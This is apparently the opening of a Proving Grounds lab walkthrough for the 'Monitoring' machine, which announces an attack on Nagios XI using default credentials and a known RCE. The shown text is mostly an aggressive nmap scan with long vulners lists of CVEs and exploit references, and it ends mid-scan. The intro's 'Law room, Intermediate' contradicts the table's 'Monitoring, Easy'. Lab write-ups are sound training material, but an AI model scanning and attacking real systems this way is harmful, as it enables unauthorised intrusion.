PG - Monitoring

PG – Monitoring

In this walk through, we will be going through the Law room from Proving Grounds. This room is rated as Intermediate on the platform and it consist of exploitation of Nagios XI installation using default credentials and a known authenticated RCE exploit. So, let’s get started without any delay.

Monitoring

Machine Info:

TitleMonitoring
IPaddress192.168.225.136
DifficultyEasy
OSLinux
DescriptionMonitoring is an easy machine which requires exploitation of Nagios XI installation using default credentials and a known authenticated RCE exploit.

Enumeration:

  • I started off with regular aggressive nmap scan and found a couple of ports open – 22 (SSH), 25 (SMTP), 80,443 (HTTP/HTTPS) and 389 (LDAP).

$ sudo nmap -A 192.168.225.136
[sudo] password for wh1terose: 
Starting Nmap 7.80 ( https://nmap.org ) at 2024-01-08 12:35 IST

Nmap scan report for 192.168.225.136
Host is up (0.20s latency).
Not shown: 994 closed ports
PORT    STATE    SERVICE  VERSION
22/tcp  open     ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b8:8c:40:f6:5f:2a:8b:f7:92:a8:81:4b:bb:59:6d:02 (RSA)
|   256 e7:bb:11:c1:2e:cd:39:91:68:4e:aa:01:f6:de:e6:19 (ECDSA)
|_  256 0f:8e:28:a7:b7:1d:60:bf:a6:2b:dd:a3:6d:d1:4e:a4 (ED25519)
| vulners: 
|   cpe:/a:openbsd:openssh:7.2p2: 
|     	PRION:CVE-2016-8858	7.8	https://vulners.com/prion/PRION:CVE-2016-8858
|     	PRION:CVE-2016-6515	7.8	https://vulners.com/prion/PRION:CVE-2016-6515
|     	PACKETSTORM:140070	7.8	https://vulners.com/packetstorm/PACKETSTORM:140070	*EXPLOIT*
|     	EXPLOITPACK:5BCA798C6BA71FAE29334297EC0B6A09	7.8	https://vulners.com/exploitpack/EXPLOITPACK:5BCA798C6BA71FAE29334297EC0B6A09	*EXPLOIT*
|     	EDB-ID:40888	7.8	https://vulners.com/exploitdb/EDB-ID:40888	*EXPLOIT*
|     	CVE-2016-8858	7.8	https://vulners.com/cve/CVE-2016-8858
|     	CVE-2016-6515	7.8	https://vulners.com/cve/CVE-2016-6515
|     	1337DAY-ID-26494	7.8	https://vulners.com/zdt/1337DAY-ID-26494*EXPLOIT*
|     	SSV:92579	7.5	https://vulners.com/seebug/SSV:92579	*EXPLOIT*
|     	PRION:CVE-2023-35784	7.5	https://vulners.com/prion/PRION:CVE-2023-35784
|     	PRION:CVE-2016-10009	7.5	https://vulners.com/prion/PRION:CVE-2016-10009
|     	PACKETSTORM:173661	7.5	https://vulners.com/packetstorm/PACKETSTORM:173661	*EXPLOIT*
|     	CVE-2016-10009	7.5	https://vulners.com/cve/CVE-2016-10009
|     	1337DAY-ID-26576	7.5	https://vulners.com/zdt/1337DAY-ID-26576*EXPLOIT*
|     	SSV:92582	7.2	https://vulners.com/seebug/SSV:92582	*EXPLOIT*
|     	PRION:CVE-2016-10012	7.2	https://vulners.com/prion/PRION:CVE-2016-10012
|     	PRION:CVE-2015-8325	7.2	https://vulners.com/prion/PRION:CVE-2015-8325
|     	CVE-2016-10012	7.2	https://vulners.com/cve/CVE-2016-10012
|     	CVE-2015-8325	7.2	https://vulners.com/cve/CVE-2015-8325
|     	SSV:92580	6.9	https://vulners.com/seebug/SSV:92580	*EXPLOIT*
|     	PRION:CVE-2016-10010	6.9	https://vulners.com/prion/PRION:CVE-2016-10010
|     	CVE-2016-10010	6.9	https://vulners.com/cve/CVE-2016-10010
|     	1337DAY-ID-26577	6.9	https://vulners.com/zdt/1337DAY-ID-26577*EXPLOIT*
|     	EXPLOITPACK:98FE96309F9524B8C84C508837551A19	5.8	https://vulners.com/exploitpack/EXPLOITPACK:98FE96309F9524B8C84C508837551A19	*EXPLOIT*
|     	EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97	5.8	https://vulners.com/exploitpack/EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97	*EXPLOIT*
|     	EDB-ID:46516	5.8	https://vulners.com/exploitdb/EDB-ID:46516	*EXPLOIT*
|     	EDB-ID:46193	5.8	https://vulners.com/exploitdb/EDB-ID:46193	*EXPLOIT*
|     	CVE-2019-6111	5.8	https://vulners.com/cve/CVE-2019-6111
|     	1337DAY-ID-32328	5.8	https://vulners.com/zdt/1337DAY-ID-32328*EXPLOIT*
|     	1337DAY-ID-32009	5.8	https://vulners.com/zdt/1337DAY-ID-32009*EXPLOIT*
|     	SSV:91041	5.5	https://vulners.com/seebug/SSV:91041	*EXPLOIT*
|     	PRION:CVE-2016-3115	5.5	https://vulners.com/prion/PRION:CVE-2016-3115
|     	PACKETSTORM:140019	5.5	https://vulners.com/packetstorm/PACKETSTORM:140019	*EXPLOIT*
|     	PACKETSTORM:136234	5.5	https://vulners.com/packetstorm/PACKETSTORM:136234	*EXPLOIT*
|     	EXPLOITPACK:F92411A645D85F05BDBD274FD222226F	5.5	https://vulners.com/exploitpack/EXPLOITPACK:F92411A645D85F05BDBD274FD222226F	*EXPLOIT*
|     	EXPLOITPACK:9F2E746846C3C623A27A441281EAD138	5.5	https://vulners.com/exploitpack/EXPLOITPACK:9F2E746846C3C623A27A441281EAD138	*EXPLOIT*
|     	EXPLOITPACK:1902C998CBF9154396911926B4C3B330	5.5	https://vulners.com/exploitpack/EXPLOITPACK:1902C998CBF9154396911926B4C3B330	*EXPLOIT*
|     	EDB-ID:40858	5.5	https://vulners.com/exploitdb/EDB-ID:40858	*EXPLOIT*
|     	EDB-ID:40119	5.5	https://vulners.com/exploitdb/EDB-ID:40119	*EXPLOIT*
|     	EDB-ID:39569	5.5	https://vulners.com/exploitdb/EDB-ID:39569	*EXPLOIT*
|     	CVE-2016-3115	5.5	https://vulners.com/cve/CVE-2016-3115
|     	SSH_ENUM	5.0	https://vulners.com/canvas/SSH_ENUM	*EXPLOIT*
|     	PRION:CVE-2023-27567	5.0	https://vulners.com/prion/PRION:CVE-2023-27567
|     	PRION:CVE-2018-15919	5.0	https://vulners.com/prion/PRION:CVE-2018-15919
|     	PRION:CVE-2018-15473	5.0	https://vulners.com/prion/PRION:CVE-2018-15473
|     	PRION:CVE-2017-15906	5.0	https://vulners.com/prion/PRION:CVE-2017-15906
|     	PRION:CVE-2016-10708	5.0	https://vulners.com/prion/PRION:CVE-2016-10708
|     	PACKETSTORM:150621	5.0	https://vulners.com/packetstorm/PACKETSTORM:150621	*EXPLOIT*
|     	EXPLOITPACK:F957D7E8A0CC1E23C3C649B764E13FB0	5.0	https://vulners.com/exploitpack/EXPLOITPACK:F957D7E8A0CC1E23C3C649B764E13FB0	*EXPLOIT*
|     	EXPLOITPACK:EBDBC5685E3276D648B4D14B75563283	5.0	https://vulners.com/exploitpack/EXPLOITPACK:EBDBC5685E3276D648B4D14B75563283	*EXPLOIT*
|     	EDB-ID:45939	5.0	https://vulners.com/exploitdb/EDB-ID:45939	*EXPLOIT*
|     	EDB-ID:45233	5.0	https://vulners.com/exploitdb/EDB-ID:45233	*EXPLOIT*
|     	CVE-2018-15919	5.0	https://vulners.com/cve/CVE-2018-15919
|     	CVE-2018-15473	5.0	https://vulners.com/cve/CVE-2018-15473
|     	CVE-2017-15906	5.0	https://vulners.com/cve/CVE-2017-15906
|     	CVE-2016-10708	5.0	https://vulners.com/cve/CVE-2016-10708
|     	1337DAY-ID-31730	5.0	https://vulners.com/zdt/1337DAY-ID-31730*EXPLOIT*
|     	PRION:CVE-2019-16905	4.4	https://vulners.com/prion/PRION:CVE-2019-16905
|     	PRION:CVE-2023-29323	4.3	https://vulners.com/prion/PRION:CVE-2023-29323
|     	PRION:CVE-2016-6210	4.3	https://vulners.com/prion/PRION:CVE-2016-6210
|     	EXPLOITPACK:802AF3229492E147A5F09C7F2B27C6DF	4.3	https://vulners.com/exploitpack/EXPLOITPACK:802AF3229492E147A5F09C7F2B27C6DF	*EXPLOIT*
|     	EXPLOITPACK:5652DDAA7FE452E19AC0DC1CD97BA3EF	4.3	https://vulners.com/exploitpack/EXPLOITPACK:5652DDAA7FE452E19AC0DC1CD97BA3EF	*EXPLOIT*
|     	EDB-ID:40136	4.3	https://vulners.com/exploitdb/EDB-ID:40136	*EXPLOIT*
|     	EDB-ID:40113	4.3	https://vulners.com/exploitdb/EDB-ID:40113	*EXPLOIT*
|     	CVE-2023-29323	4.3	https://vulners.com/cve/CVE-2023-29323
|     	CVE-2020-14145	4.3	https://vulners.com/cve/CVE-2020-14145
|     	CVE-2016-6210	4.3	https://vulners.com/cve/CVE-2016-6210
|     	1337DAY-ID-25440	4.3	https://vulners.com/zdt/1337DAY-ID-25440*EXPLOIT*
|     	1337DAY-ID-25438	4.3	https://vulners.com/zdt/1337DAY-ID-25438*EXPLOIT*
|     	PRION:CVE-2019-6110	4.0	https://vulners.com/prion/PRION:CVE-2019-6110
|     	PRION:CVE-2019-6109	4.0	https://vulners.com/prion/PRION:CVE-2019-6109
|     	CVE-2019-6110	4.0	https://vulners.com/cve/CVE-2019-6110
|     	CVE-2019-6109	4.0	https://vulners.com/cve/CVE-2019-6109
|     	PRION:CVE-2019-6111	2.6	https://vulners.com/prion/PRION:CVE-2019-6111
|     	PRION:CVE-2018-20685	2.6	https://vulners.com/prion/PRION:CVE-2018-20685
|     	CVE-2018-20685	2.6	https://vulners.com/cve/CVE-2018-20685
|     	SSV:92581	2.1	https://vulners.com/seebug/SSV:92581	*EXPLOIT*
|     	PRION:CVE-2016-10011	2.1	https://vulners.com/prion/PRION:CVE-2016-10011
|     	CVE-2016-10011	2.1	https://vulners.com/cve/CVE-2016-10011
|     	PACKETSTORM:151227	0.0	https://vulners.com/packetstorm/PACKETSTORM:151227	*EXPLOIT*
|     	PACKETSTORM:140261	0.0	https://vulners.com/packetstorm/PACKETSTORM:140261	*EXPLOIT*
|     	PACKETSTORM:138006	0.0	https://vulners.com/packetstorm/PACKETSTORM:138006	*EXPLOIT*
|     	PACKETSTORM:137942	0.0	https://vulners.com/packetstorm/PACKETSTORM:137942	*EXPLOIT*
|     	MSF:AUXILIARY-SCANNER-SSH-SSH_ENUMUSERS-	0.0	https://vulners.com/metasploit/MSF:AUXILIARY-SCANNER-SSH-SSH_ENUMUSERS-	*EXPLOIT*
|_    	1337DAY-ID-30937	0.0	https://vulners.com/zdt/1337DAY-ID-30937*EXPLOIT*
25/tcp  open     smtp     Postfix smtpd
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
| ssl-cert: Subject: commonName=ubuntu
| Not valid before: 2020-09-08T17:59:00
|_Not valid after:  2030-09-06T17:59:00
|_ssl-date: TLS randomness does not represent time
53/tcp  filtered domain
80/tcp  open     http     Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Nagios XI
| vulners: 
|   cpe:/a:apache:http_server:2.4.18: 
|     	PACKETSTORM:171631	7.5	https://vulners.com/packetstorm/PACKETSTORM:171631	*EXPLOIT*
|     	EDB-ID:51193	7.5	https://vulners.com/exploitdb/EDB-ID:51193	*EXPLOIT*
|     	CVE-2022-31813	7.5	https://vulners.com/cve/CVE-2022-31813
|     	CVE-2022-23943	7.5	https://vulners.com/cve/CVE-2022-23943
|     	CVE-2022-22720	7.5	https://vulners.com/cve/CVE-2022-22720
|     	CVE-2021-44790	7.5	https://vulners.com/cve/CVE-2021-44790
|     	CVE-2021-39275	7.5	https://vulners.com/cve/CVE-2021-39275
|     	CVE-2021-26691	7.5	https://vulners.com/cve/CVE-2021-26691
|     	CVE-2017-7679	7.5	https://vulners.com/cve/CVE-2017-7679
|     	CVE-2017-3169	7.5	https://vulners.com/cve/CVE-2017-3169
|     	CVE-2017-3167	7.5	https://vulners.com/cve/CVE-2017-3167
|     	CNVD-2022-73123	7.5	https://vulners.com/cnvd/CNVD-2022-73123
|     	CNVD-2022-03225	7.5	https://vulners.com/cnvd/CNVD-2022-03225
|     	CNVD-2021-102386	7.5	https://vulners.com/cnvd/CNVD-2021-102386
|     	1337DAY-ID-38427	7.5	https://vulners.com/zdt/1337DAY-ID-38427*EXPLOIT*
|     	EXPLOITPACK:44C5118F831D55FAF4259C41D8BDA0AB	7.2	https://vulners.com/exploitpack/EXPLOITPACK:44C5118F831D55FAF4259C41D8BDA0AB	*EXPLOIT*
|     	EDB-ID:46676	7.2	https://vulners.com/exploitdb/EDB-ID:46676	*EXPLOIT*
|     	CVE-2019-0211	7.2	https://vulners.com/cve/CVE-2019-0211
|     	1337DAY-ID-32502	7.2	https://vulners.com/zdt/1337DAY-ID-32502*EXPLOIT*
|     	FDF3DFA1-ED74-5EE2-BF5C-BA752CA34AE8	6.8	https://vulners.com/githubexploit/FDF3DFA1-ED74-5EE2-BF5C-BA752CA34AE8	*EXPLOIT*
|     	CVE-2021-40438	6.8	https://vulners.com/cve/CVE-2021-40438
|     	CVE-2020-35452	6.8	https://vulners.com/cve/CVE-2020-35452
|     	CVE-2018-1312	6.8	https://vulners.com/cve/CVE-2018-1312
|     	CVE-2017-15715	6.8	https://vulners.com/cve/CVE-2017-15715
|     	CVE-2016-5387	6.8	https://vulners.com/cve/CVE-2016-5387
|     	CNVD-2022-03224	6.8	https://vulners.com/cnvd/CNVD-2022-03224
|     	AE3EF1CC-A0C3-5CB7-A6EF-4DAAAFA59C8C	6.8	https://vulners.com/githubexploit/AE3EF1CC-A0C3-5CB7-A6EF-4DAAAFA59C8C	*EXPLOIT*
|     	8AFB43C5-ABD4-52AD-BB19-24D7884FF2A2	6.8	https://vulners.com/githubexploit/8AFB43C5-ABD4-52AD-BB19-24D7884FF2A2	*EXPLOIT*
|     	4810E2D9-AC5F-5B08-BFB3-DDAFA2F63332	6.8	https://vulners.com/githubexploit/4810E2D9-AC5F-5B08-BFB3-DDAFA2F63332	*EXPLOIT*
|     	4373C92A-2755-5538-9C91-0469C995AA9B	6.8	https://vulners.com/githubexploit/4373C92A-2755-5538-9C91-0469C995AA9B	*EXPLOIT*
|     	36618CA8-9316-59CA-B748-82F15F407C4F	6.8	https://vulners.com/githubexploit/36618CA8-9316-59CA-B748-82F15F407C4F	*EXPLOIT*
|     	0095E929-7573-5E4A-A7FA-F6598A35E8DE	6.8	https://vulners.com/githubexploit/0095E929-7573-5E4A-A7FA-F6598A35E8DE	*EXPLOIT*
|     	OSV:BIT-2023-31122	6.4	https://vulners.com/osv/OSV:BIT-2023-31122
|     	CVE-2022-28615	6.4	https://vulners.com/cve/CVE-2022-28615
|     	CVE-2021-44224	6.4	https://vulners.com/cve/CVE-2021-44224
|     	CVE-2019-10082	6.4	https://vulners.com/cve/CVE-2019-10082
|     	CVE-2017-9788	6.4	https://vulners.com/cve/CVE-2017-9788
|     	CVE-2019-0217	6.0	https://vulners.com/cve/CVE-2019-0217
|     	CVE-2022-22721	5.8	https://vulners.com/cve/CVE-2022-22721
|     	CVE-2020-1927	5.8	https://vulners.com/cve/CVE-2020-1927
|     	CVE-2019-10098	5.8	https://vulners.com/cve/CVE-2019-10098
|     	1337DAY-ID-33577	5.8	https://vulners.com/zdt/1337DAY-ID-33577*EXPLOIT*
|     	CVE-2022-36760	5.1	https://vulners.com/cve/CVE-2022-36760
|     	SSV:96537	5.0	https://vulners.com/seebug/SSV:96537	*EXPLOIT*
|     	OSV:BIT-2023-45802	5.0	https://vulners.com/osv/OSV:BIT-2023-45802
|     	OSV:BIT-2023-43622	5.0	https://vulners.com/osv/OSV:BIT-2023-43622
|     	F7F6E599-CEF4-5E03-8E10-FE18C4101E38	5.0	https://vulners.com/githubexploit/F7F6E599-CEF4-5E03-8E10-FE18C4101E38	*EXPLOIT*
|     	EXPLOITPACK:C8C256BE0BFF5FE1C0405CB0AA9C075D	5.0	https://vulners.com/exploitpack/EXPLOITPACK:C8C256BE0BFF5FE1C0405CB0AA9C075D	*EXPLOIT*
|     	EXPLOITPACK:2666FB0676B4B582D689921651A30355	5.0	https://vulners.com/exploitpack/EXPLOITPACK:2666FB0676B4B582D689921651A30355	*EXPLOIT*
|     	EDB-ID:42745	5.0	https://vulners.com/exploitdb/EDB-ID:42745	*EXPLOIT*
|     	EDB-ID:40909	5.0	https://vulners.com/exploitdb/EDB-ID:40909	*EXPLOIT*
|     	E5C174E5-D6E8-56E0-8403-D287DE52EB3F	5.0	https://vulners.com/githubexploit/E5C174E5-D6E8-56E0-8403-D287DE52EB3F	*EXPLOIT*
|     	DB6E1BBD-08B1-574D-A351-7D6BB9898A4A	5.0	https://vulners.com/githubexploit/DB6E1BBD-08B1-574D-A351-7D6BB9898A4A	*EXPLOIT*
|     	CVE-2022-37436	5.0	https://vulners.com/cve/CVE-2022-37436
|     	CVE-2022-30556	5.0	https://vulners.com/cve/CVE-2022-30556
|     	CVE-2022-29404	5.0	https://vulners.com/cve/CVE-2022-29404
|     	CVE-2022-28614	5.0	https://vulners.com/cve/CVE-2022-28614
|     	CVE-2022-26377	5.0	https://vulners.com/cve/CVE-2022-26377
|     	CVE-2022-22719	5.0	https://vulners.com/cve/CVE-2022-22719
|     	CVE-2021-34798	5.0	https://vulners.com/cve/CVE-2021-34798
|     	CVE-2021-33193	5.0	https://vulners.com/cve/CVE-2021-33193
|     	CVE-2021-26690	5.0	https://vulners.com/cve/CVE-2021-26690
|     	CVE-2020-1934	5.0	https://vulners.com/cve/CVE-2020-1934
|     	CVE-2019-17567	5.0	https://vulners.com/cve/CVE-2019-17567
|     	CVE-2019-0220	5.0	https://vulners.com/cve/CVE-2019-0220
|     	CVE-2019-0196	5.0	https://vulners.com/cve/CVE-2019-0196
|     	CVE-2018-17199	5.0	https://vulners.com/cve/CVE-2018-17199
|     	CVE-2018-17189	5.0	https://vulners.com/cve/CVE-2018-17189
|     	CVE-2018-1333	5.0	https://vulners.com/cve/CVE-2018-1333
|     	CVE-2018-1303	5.0	https://vulners.com/cve/CVE-2018-1303
|     	CVE-2017-9798	5.0	https://vulners.com/cve/CVE-2017-9798
|     	CVE-2017-15710	5.0	https://vulners.com/cve/CVE-2017-15710
|     	CVE-2016-8743	5.0	https://vulners.com/cve/CVE-2016-8743
|     	CVE-2016-8740	5.0	https://vulners.com/cve/CVE-2016-8740
|     	CVE-2016-4979	5.0	https://vulners.com/cve/CVE-2016-4979
|     	CVE-2006-20001	5.0	https://vulners.com/cve/CVE-2006-20001
|     	CNVD-2023-93320	5.0	https://vulners.com/cnvd/CNVD-2023-93320
|     	CNVD-2023-80558	5.0	https://vulners.com/cnvd/CNVD-2023-80558
|     	CNVD-2022-73122	5.0	https://vulners.com/cnvd/CNVD-2022-73122
|     	CNVD-2022-53584	5.0	https://vulners.com/cnvd/CNVD-2022-53584
|     	CNVD-2022-53582	5.0	https://vulners.com/cnvd/CNVD-2022-53582
|     	CNVD-2022-03223	5.0	https://vulners.com/cnvd/CNVD-2022-03223
|     	C9A1C0C1-B6E3-5955-A4F1-DEA0E505B14B	5.0	https://vulners.com/githubexploit/C9A1C0C1-B6E3-5955-A4F1-DEA0E505B14B	*EXPLOIT*
|     	BD3652A9-D066-57BA-9943-4E34970463B9	5.0	https://vulners.com/githubexploit/BD3652A9-D066-57BA-9943-4E34970463B9	*EXPLOIT*
|     	B0208442-6E17-5772-B12D-B5BE30FA5540	5.0	https://vulners.com/githubexploit/B0208442-6E17-5772-B12D-B5BE30FA5540	*EXPLOIT*
|     	A820A056-9F91-5059-B0BC-8D92C7A31A52	5.0	https://vulners.com/githubexploit/A820A056-9F91-5059-B0BC-8D92C7A31A52	*EXPLOIT*
|     	9814661A-35A4-5DB7-BB25-A1040F365C81	5.0	https://vulners.com/githubexploit/9814661A-35A4-5DB7-BB25-A1040F365C81	*EXPLOIT*
|     	5A864BCC-B490-5532-83AB-2E4109BB3C31	5.0	https://vulners.com/githubexploit/5A864BCC-B490-5532-83AB-2E4109BB3C31	*EXPLOIT*
|     	17C6AD2A-8469-56C8-BBBE-1764D0DF1680	5.0	https://vulners.com/githubexploit/17C6AD2A-8469-56C8-BBBE-1764D0DF1680	*EXPLOIT*
|     	1337DAY-ID-28573	5.0	https://vulners.com/zdt/1337DAY-ID-28573*EXPLOIT*
|     	CVE-2020-11985	4.3	https://vulners.com/cve/CVE-2020-11985
|     	CVE-2019-10092	4.3	https://vulners.com/cve/CVE-2019-10092
|     	CVE-2018-1302	4.3	https://vulners.com/cve/CVE-2018-1302
|     	CVE-2018-1301	4.3	https://vulners.com/cve/CVE-2018-1301
|     	CVE-2018-11763	4.3	https://vulners.com/cve/CVE-2018-11763
|     	CVE-2016-4975	4.3	https://vulners.com/cve/CVE-2016-4975
|     	CVE-2016-1546	4.3	https://vulners.com/cve/CVE-2016-1546
|     	4013EC74-B3C1-5D95-938A-54197A58586D	4.3	https://vulners.com/githubexploit/4013EC74-B3C1-5D95-938A-54197A58586D	*EXPLOIT*
|     	1337DAY-ID-33575	4.3	https://vulners.com/zdt/1337DAY-ID-33575*EXPLOIT*
|     	CVE-2018-1283	3.5	https://vulners.com/cve/CVE-2018-1283
|     	CVE-2016-8612	3.3	https://vulners.com/cve/CVE-2016-8612
|_    	PACKETSTORM:152441	0.0	https://vulners.com/packetstorm/PACKETSTORM:152441	*EXPLOIT*
389/tcp open     ldap     OpenLDAP 2.2.X - 2.3.X
443/tcp open     ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Nagios XI
| ssl-cert: Subject: commonName=192.168.1.6/organizationName=Nagios Enterprises/stateOrProvinceName=Minnesota/countryName=US
| Not valid before: 2020-09-08T18:28:08
|_Not valid after:  2030-09-06T18:28:08
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| vulners: 
|   cpe:/a:apache:http_server:2.4.18: 
|     	PACKETSTORM:171631	7.5	https://vulners.com/packetstorm/PACKETSTORM:171631	*EXPLOIT*
|     	EDB-ID:51193	7.5	https://vulners.com/exploitdb/EDB-ID:51193	*EXPLOIT*
|     	CVE-2022-31813	7.5	https://vulners.com/cve/CVE-2022-31813
|     	CVE-2022-23943	7.5	https://vulners.com/cve/CVE-2022-23943
|     	CVE-2022-22720	7.5	https://vulners.com/cve/CVE-2022-22720
|     	CVE-2021-44790	7.5	https://vulners.com/cve/CVE-2021-44790
|     	CVE-2021-39275	7.5	https://vulners.com/cve/CVE-2021-39275
|     	CVE-2021-26691	7.5	https://vulners.com/cve/CVE-2021-26691
|     	CVE-2017-7679	7.5	https://vulners.com/cve/CVE-2017-7679
|     	CVE-2017-3169	7.5	https://vulners.com/cve/CVE-2017-3169
|     	CVE-2017-3167	7.5	https://vulners.com/cve/CVE-2017-3167
|     	CNVD-2022-73123	7.5	https://vulners.com/cnvd/CNVD-2022-73123
|     	CNVD-2022-03225	7.5	https://vulners.com/cnvd/CNVD-2022-03225
|     	CNVD-2021-102386	7.5	https://vulners.com/cnvd/CNVD-2021-102386
|     	1337DAY-ID-38427	7.5	https://vulners.com/zdt/1337DAY-ID-38427*EXPLOIT*
|     	EXPLOITPACK:44C5118F831D55FAF4259C41D8BDA0AB	7.2	https://vulners.com/exploitpack/EXPLOITPACK:44C5118F831D55FAF4259C41D8BDA0AB	*EXPLOIT*
|     	EDB-ID:46676	7.2	https://vulners.com/exploitdb/EDB-ID:46676	*EXPLOIT*
|     	CVE-2019-0211	7.2	https://vulners.com/cve/CVE-2019-0211
|     	1337DAY-ID-32502	7.2	https://vulners.com/zdt/1337DAY-ID-32502*EXPLOIT*
|     	FDF3DFA1-ED74-5EE2-BF5C-BA752CA34AE8	6.8	https://vulners.com/githubexploit/FDF3DFA1-ED74-5EE2-BF5C-BA752CA34AE8	*EXPLOIT*
|     	CVE-2021-40438	6.8	https://vulners.com/cve/CVE-2021-40438
|     	CVE-2020-35452	6.8	https://vulners.com/cve/CVE-2020-35452
|     	CVE-2018-1312	6.8	https://vulners.com/cve/CVE-2018-1312
|     	CVE-2017-15715	6.8	https://vulners.com/cve/CVE-2017-15715
|     	CVE-2016-5387	6.8	https://vulners.com/cve/CVE-2016-5387
|     	CNVD-2022-03224	6.8	https://vulners.com/cnvd/CNVD-2022-03224
|     	AE3EF1CC-A0C3-5CB7-A6EF-4DAAAFA59C8C	6.8	https://vulners.com/githubexploit/AE3EF1CC-A0C3-5CB7-A6EF-4DAAAFA59C8C	*EXPLOIT*
|     	8AFB43C5-ABD4-52AD-BB19-24D7884FF2A2	6.8	https://vulners.com/githubexploit/8AFB43C5-ABD4-52AD-BB19-24D7884FF2A2	*EXPLOIT*
|     	4810E2D9-AC5F-5B08-BFB3-DDAFA2F63332	6.8	https://vulners.com/githubexploit/4810E2D9-AC5F-5B08-BFB3-DDAFA2F63332	*EXPLOIT*
|     	4373C92A-2755-5538-9C91-0469C995AA9B	6.8	https://vulners.com/githubexploit/4373C92A-2755-5538-9C91-0469C995AA9B	*EXPLOIT*
|     	36618CA8-9316-59CA-B748-82F15F407C4F	6.8	https://vulners.com/githubexploit/36618CA8-9316-59CA-B748-82F15F407C4F	*EXPLOIT*
|     	0095E929-7573-5E4A-A7FA-F6598A35E8DE	6.8	https://vulners.com/githubexploit/0095E929-7573-5E4A-A7FA-F6598A35E8DE	*EXPLOIT*
|     	OSV:BIT-2023-31122	6.4	https://vulners.com/osv/OSV:BIT-2023-31122
|     	CVE-2022-28615	6.4	https://vulners.com/cve/CVE-2022-28615
|     	CVE-2021-44224	6.4	https://vulners.com/cve/CVE-2021-44224
|     	CVE-2019-10082	6.4	https://vulners.com/cve/CVE-2019-10082
|     	CVE-2017-9788	6.4	https://vulners.com/cve/CVE-2017-9788
|     	CVE-2019-0217	6.0	https://vulners.com/cve/CVE-2019-0217
|     	CVE-2022-22721	5.8	https://vulners.com/cve/CVE-2022-22721
|     	CVE-2020-1927	5.8	https://vulners.com/cve/CVE-2020-1927
|     	CVE-2019-10098	5.8	https://vulners.com/cve/CVE-2019-10098
|     	1337DAY-ID-33577	5.8	https://vulners.com/zdt/1337DAY-ID-33577*EXPLOIT*
|     	CVE-2022-36760	5.1	https://vulners.com/cve/CVE-2022-36760
|     	SSV:96537	5.0	https://vulners.com/seebug/SSV:96537	*EXPLOIT*
|     	OSV:BIT-2023-45802	5.0	https://vulners.com/osv/OSV:BIT-2023-45802
|     	OSV:BIT-2023-43622	5.0	https://vulners.com/osv/OSV:BIT-2023-43622
|     	F7F6E599-CEF4-5E03-8E10-FE18C4101E38	5.0	https://vulners.com/githubexploit/F7F6E599-CEF4-5E03-8E10-FE18C4101E38	*EXPLOIT*
|     	EXPLOITPACK:C8C256BE0BFF5FE1C0405CB0AA9C075D	5.0	https://vulners.com/exploitpack/EXPLOITPACK:C8C256BE0BFF5FE1C0405CB0AA9C075D	*EXPLOIT*
|     	EXPLOITPACK:2666FB0676B4B582D689921651A30355	5.0	https://vulners.com/exploitpack/EXPLOITPACK:2666FB0676B4B582D689921651A30355	*EXPLOIT*
|     	EDB-ID:42745	5.0	https://vulners.com/exploitdb/EDB-ID:42745	*EXPLOIT*
|     	EDB-ID:40909	5.0	https://vulners.com/exploitdb/EDB-ID:40909	*EXPLOIT*
|     	E5C174E5-D6E8-56E0-8403-D287DE52EB3F	5.0	https://vulners.com/githubexploit/E5C174E5-D6E8-56E0-8403-D287DE52EB3F	*EXPLOIT*
